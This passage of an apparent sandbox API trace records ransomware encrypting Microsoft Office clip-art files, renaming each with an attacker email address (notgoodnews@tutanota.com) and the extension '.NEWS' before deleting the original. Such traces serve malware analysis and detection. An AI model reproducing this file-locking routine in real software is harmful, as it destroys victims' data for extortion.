(lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF") returned 68 [0093.797] lstrlenW (lpString=".doc") returned 4 [0093.797] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0093.797] lstrlenW (lpString=".docx") returned 5 [0093.797] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0093.797] lstrlenW (lpString=".pdf") returned 4 [0093.797] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0093.797] lstrlenW (lpString=".xls") returned 4 [0093.797] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0093.797] lstrlenW (lpString=".xlsx") returned 5 [0093.797] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0093.797] lstrlenW (lpString=".ppt") returned 4 [0093.797] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0093.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF") returned 68 [0093.797] lstrlenW (lpString=".zip") returned 4 [0093.797] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0093.797] lstrlenW (lpString=".rar") returned 4 [0093.797] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0093.797] lstrlenW (lpString=".bz2") returned 4 [0093.797] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0093.797] lstrlenW (lpString=".7z") returned 3 [0093.797] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0093.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF") returned 68 [0093.797] lstrlenW (lpString=".dbf") returned 4 [0093.797] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0093.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF") returned 68 [0093.797] lstrlenW (lpString=".1cd") returned 4 [0093.797] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0093.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF") returned 68 [0093.797] lstrlenW (lpString=".jpg") returned 4 [0093.797] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0093.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF") returned 68 [0093.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF") returned 68 [0093.797] lstrlenW (lpString=".doc") returned 4 [0093.797] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0093.797] lstrlenW (lpString=".docx") returned 5 [0093.797] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0093.798] lstrlenW (lpString=".pdf") returned 4 [0093.798] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0093.798] lstrlenW (lpString=".xls") returned 4 [0093.798] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0093.798] lstrlenW (lpString=".xlsx") returned 5 [0093.798] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0093.798] lstrlenW (lpString=".ppt") returned 4 [0093.798] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0093.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF") returned 68 [0093.798] lstrlenW (lpString=".zip") returned 4 [0093.798] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0093.798] lstrlenW (lpString=".rar") returned 4 [0093.798] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0093.798] lstrlenW (lpString=".bz2") returned 4 [0093.798] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0093.798] lstrlenW (lpString=".7z") returned 3 [0093.798] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0093.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF") returned 68 [0093.798] lstrlenW (lpString=".dbf") returned 4 [0093.798] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0093.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF") returned 68 [0093.798] lstrlenW (lpString=".1cd") returned 4 [0093.798] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0093.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF") returned 68 [0093.798] lstrlenW (lpString=".jpg") returned 4 [0093.798] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0093.798] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0093.798] lstrlenW (lpString="J0105306.WMF") returned 12 [0093.798] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105306.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0093.799] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=4320) returned 1 [0093.799] CloseHandle (hObject=0x398) returned 1 [0093.799] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105306.wmf")) returned 0x220 [0093.799] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105306.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0093.799] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105306.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0093.799] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0093.799] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0093.799] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105306.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0093.800] GetLastError () returned 0x0 [0093.800] ReadFile (in: hFile=0x398, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x10e0, lpOverlapped=0x0) returned 1 [0093.801] WriteFile (in: hFile=0x37c, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0x10f0, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0x10f0, lpOverlapped=0x0) returned 1 [0093.802] ReadFile (in: hFile=0x398, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1 [0093.802] WriteFile (in: hFile=0x37c, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xec, lpOverlapped=0x0) returned 1 [0093.802] SetEndOfFile (hFile=0x37c) returned 1 [0093.802] CloseHandle (hObject=0x37c) returned 1 [0093.802] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0093.802] SetEndOfFile (hFile=0x398) returned 1 [0093.803] CloseHandle (hObject=0x398) returned 1 [0093.803] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0093.804] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105306.wmf")) returned 1 [0093.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF") returned 68 [0093.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF") returned 68 [0093.804] lstrlenW (lpString=".doc") returned 4 [0093.804] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0093.804] lstrlenW (lpString=".docx") returned 5 [0093.804] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0093.804] lstrlenW (lpString=".pdf") returned 4 [0093.804] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0093.804] lstrlenW (lpString=".xls") returned 4 [0093.804] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0093.804] lstrlenW (lpString=".xlsx") returned 5 [0093.804] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0093.804] lstrlenW (lpString=".ppt") returned 4 [0093.804] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0093.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF") returned 68 [0093.804] lstrlenW (lpString=".zip") returned 4 [0093.804] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0093.804] lstrlenW (lpString=".rar") returned 4 [0093.804] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0093.804] lstrlenW (lpString=".bz2") returned 4 [0093.804] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0093.804] lstrlenW (lpString=".7z") returned 3 [0093.804] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0093.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF") returned 68 [0093.804] lstrlenW (lpString=".dbf") returned 4 [0093.805] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0093.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF") returned 68 [0093.805] lstrlenW (lpString=".1cd") returned 4 [0093.805] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0093.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF") returned 68 [0093.805] lstrlenW (lpString=".jpg") returned 4 [0093.805] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0093.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF") returned 68 [0093.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF") returned 68 [0093.805] lstrlenW (lpString=".doc") returned 4 [0093.805] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0093.805] lstrlenW (lpString=".docx") returned 5 [0093.805] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0093.805] lstrlenW (lpString=".pdf") returned 4 [0093.805] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0093.805] lstrlenW (lpString=".xls") returned 4 [0093.805] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0093.805] lstrlenW (lpString=".xlsx") returned 5 [0093.805] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0093.805] lstrlenW (lpString=".ppt") returned 4 [0093.805] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0093.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF") returned 68 [0093.805] lstrlenW (lpString=".zip") returned 4 [0093.805] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0093.805] lstrlenW (lpString=".rar") returned 4 [0093.805] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0093.805] lstrlenW (lpString=".bz2") returned 4 [0093.805] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0093.805] lstrlenW (lpString=".7z") returned 3 [0093.805] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0093.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF") returned 68 [0093.805] lstrlenW (lpString=".dbf") returned 4 [0093.805] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0093.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF") returned 68 [0093.805] lstrlenW (lpString=".1cd") returned 4 [0093.805] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0093.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF") returned 68 [0093.806] lstrlenW (lpString=".jpg") returned 4 [0093.806] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0093.806] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0093.806] lstrlenW (lpString="J0105320.WMF") returned 12 [0093.806] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105320.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0093.806] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=2020) returned 1 [0093.806] CloseHandle (hObject=0x398) returned 1 [0093.806] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105320.wmf")) returned 0x220 [0093.806] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105320.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0093.806] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105320.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0093.806] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0093.806] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0093.807] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105320.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0093.807] GetLastError () returned 0x0 [0093.807] ReadFile (in: hFile=0x398, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x7e4, lpOverlapped=0x0) returned 1 [0093.808] WriteFile (in: hFile=0x37c, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0x7f0, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0x7f0, lpOverlapped=0x0) returned 1 [0093.809] ReadFile (in: hFile=0x398, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1 [0093.809] WriteFile (in: hFile=0x37c, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xec, lpOverlapped=0x0) returned 1 [0093.809] SetEndOfFile (hFile=0x37c) returned 1 [0093.810] CloseHandle (hObject=0x37c) returned 1 [0093.810] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0093.810] SetEndOfFile (hFile=0x398) returned 1 [0093.811] CloseHandle (hObject=0x398) returned 1 [0093.811] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0093.811] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105320.wmf")) returned 1 [0093.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF") returned 68 [0093.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF") returned 68 [0093.811] lstrlenW (lpString=".doc") returned 4 [0093.811] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0093.811] lstrlenW (lpString=".docx") returned 5 [0093.811] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0093.811] lstrlenW (lpString=".pdf") returned 4 [0093.811] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0093.811] lstrlenW (lpString=".xls") returned 4 [0093.811] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0093.811] lstrlenW (lpString=".xlsx") returned 5 [0093.811] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0093.811] lstrlenW (lpString=".ppt") returned 4 [0093.811] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0093.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF") returned 68 [0093.811] lstrlenW (lpString=".zip") returned 4 [0093.811] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0093.811] lstrlenW (lpString=".rar") returned 4 [0093.811] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0093.811] lstrlenW (lpString=".bz2") returned 4 [0093.812] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0093.812] lstrlenW (lpString=".7z") returned 3 [0093.812] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0093.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF") returned 68 [0093.812] lstrlenW (lpString=".dbf") returned 4 [0093.812] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0093.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF") returned 68 [0093.812] lstrlenW (lpString=".1cd") returned 4 [0093.812] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0093.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF") returned 68 [0093.812] lstrlenW (lpString=".jpg") returned 4 [0093.812] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0093.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF") returned 68 [0093.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF") returned 68 [0093.812] lstrlenW (lpString=".doc") returned 4 [0093.812] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0093.812] lstrlenW (lpString=".docx") returned 5 [0093.812] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0093.812] lstrlenW (lpString=".pdf") returned 4 [0093.812] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0093.812] lstrlenW (lpString=".xls") returned 4 [0093.812] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0093.812] lstrlenW (lpString=".xlsx") returned 5 [0093.812] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0093.812] lstrlenW (lpString=".ppt") returned 4 [0093.812] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0093.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF") returned 68 [0093.812] lstrlenW (lpString=".zip") returned 4 [0093.812] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0093.812] lstrlenW (lpString=".rar") returned 4 [0093.812] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0093.812] lstrlenW (lpString=".bz2") returned 4 [0093.812] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0093.812] lstrlenW (lpString=".7z") returned 3 [0093.812] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0093.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF") returned 68 [0093.812] lstrlenW (lpString=".dbf") returned 4 [0093.813] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0093.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF") returned 68 [0093.813] lstrlenW (lpString=".1cd") returned 4 [0093.813] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0093.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF") returned 68 [0093.813] lstrlenW (lpString=".jpg") returned 4 [0093.813] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0093.813] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0093.813] lstrlenW (lpString="J0105328.WMF") returned 12 [0093.813] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105328.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0093.813] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=7992) returned 1 [0093.813] CloseHandle (hObject=0x398) returned 1 [0093.813] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105328.wmf")) returned 0x220 [0093.813] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105328.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0093.813] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105328.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0093.814] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0093.814] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0093.814] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105328.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0093.814] GetLastError () returned 0x0 [0093.814] ReadFile (in: hFile=0x398, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x1f38, lpOverlapped=0x0) returned 1 [0094.046] WriteFile (in: hFile=0x37c, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0x1f40, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0x1f40, lpOverlapped=0x0) returned 1 [0094.047] ReadFile (in: hFile=0x398, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1 [0094.047] WriteFile (in: hFile=0x37c, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xec, lpOverlapped=0x0) returned 1 [0094.047] SetEndOfFile (hFile=0x37c) returned 1 [0094.047] CloseHandle (hObject=0x37c) returned 1 [0094.047] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0094.047] SetEndOfFile (hFile=0x398) returned 1 [0094.048] CloseHandle (hObject=0x398) returned 1 [0094.048] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0094.048] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105328.wmf")) returned 1 [0094.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF") returned 68 [0094.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF") returned 68 [0094.049] lstrlenW (lpString=".doc") returned 4 [0094.049] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0094.049] lstrlenW (lpString=".docx") returned 5 [0094.049] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0094.049] lstrlenW (lpString=".pdf") returned 4 [0094.049] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0094.049] lstrlenW (lpString=".xls") returned 4 [0094.049] lstrcmpiW 